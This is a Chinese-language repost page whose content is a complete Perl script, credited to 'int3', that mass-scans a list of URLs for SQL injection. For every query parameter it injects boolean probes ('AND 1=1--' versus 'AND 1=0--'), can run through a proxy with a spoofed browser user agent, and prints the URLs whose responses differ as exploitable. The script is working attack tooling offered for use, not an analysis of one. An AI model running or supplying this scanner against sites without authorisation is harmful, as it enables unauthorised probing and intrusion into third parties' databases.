注册
登录
| 关键词： nbsp proxy threads response exploit page default Windows match optional |
#sqli scanner script by int3 #open file, test all sites for sql injection #usage: perl sqlscan.pl filename [-e ender] [-p proxy] [-t threads] #support http proxy like -p localhost:8080 #-e optional, default end with -- #-p optional, default no proxy #-t optional, default 10 threads #filename is list of files #default no proxy and 10 threads use LWP::UserAgent; use Getopt::Std; use Thread; use threads::shared; $maxthreads = 10; #max threads at a time $filename = ''; $status = 0; $proxy = ''; $ender = '--'; for ($i = 0; $i < ($#ARGV+1); $i++) { $s = @ARGV[$i]; if ($status eq 1) { $proxy = 'http://' . $s . '/'; #proxy speicifed $status = 0; } elsif ($status eq 2) { $maxthreads = $s; #threads specified $status = 0; } elsif ($status eq 3) { $ender = $s; #different ender $status = 0; } elsif ($s eq '-p') { $status = 1; } elsif ($s eq '-t') { $status = 2; } elsif ($s eq '-e') { $status = 3; } elsif ($s eq '-h') { print "perl sqlscan.pl filename [-e ender] [-p proxy] [-t threads]\n"; } elsif (substr($s, 0, 1) eq '-') { print "Invalid switch, use -h for help\n"; } else { $filename = $s; } } open(list, $filename); @sites; while (($line = <list>) ne undef) { chomp($line); push(@sites, $line); } @match1; @match2; for ($i = 0; $i <= $#sites; $i++) { $_ = @sites[$i]; /([^\?]*)\?([^\?]*)/; #match for url base $base = $1; #base of url $dyn = $2; #dynamic part $end = 0; $lastpos = 0; while ($end ne 1) { $lastpos = index($dyn, '&', $lastpos+1); if ($lastpos eq -1) { $lastpos = length($dyn); $end = 1; } $t = $dyn; substr($t, $lastpos, 0) = '%20AND%201=1' . $ender; push(@match1, $base . '?' . $t); $t = $dyn; substr($t, $lastpos, 0) = '%20AND%201=0' . $ender; push(@match2, $base . '?' . $t); } } my @exploit : shared; #0 if not exploit, 1 if exploit my $threads : shared = 0; #number of threads running for ($i = 0; $i <= $#match1; $i++) { while (1) { if ($threads < $maxthreads) { my $thr = threads->create(\&check_site, $i, @match1[$i], @match2[$i]); #compare and check if possible sql exploit $thr->detach(); #detach from thread last; #next loop } else { sleep(1); } } } while ($threads > 0) { sleep(1); #wait until all threads terminate } for ($i = 0; $i <= $#exploit; $i++) { if (@exploit[$i] eq 1) { print @match2[$i] . "\n"; } } exit(0); #check if site exploitable by: connect to sites, strip html, and compare (exploit if different) sub check_site { $page1, $page2; $threads++; #new thread create $ua = LWP::UserAgent->new; $ua->timeout(10); if ($proxy ne '') { $ua->proxy('http', $proxy); } $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"); $response = $ua->get($_[1]); #get contents when sql result true if ($response->is_success) { $page1 = $response->content; } $ua = LWP::UserAgent->new; $ua->timeout(10); if ($proxy ne '') { $ua->proxy('http', $proxy); } $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12"); $response = $ua->get($_[2]); #get contents when sql result false if ($response->is_success) { $page2 = $response->content; } $page1 =~ s/<.+?>//g; #strip html $page2 =~ s/<.+?>//g; if ($page1 eq $page2) { @exploit[$_[0]] = 0; #not exploit } else { @exploit[$_[0]] = 1; #exploit } $threads--; #thread close } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
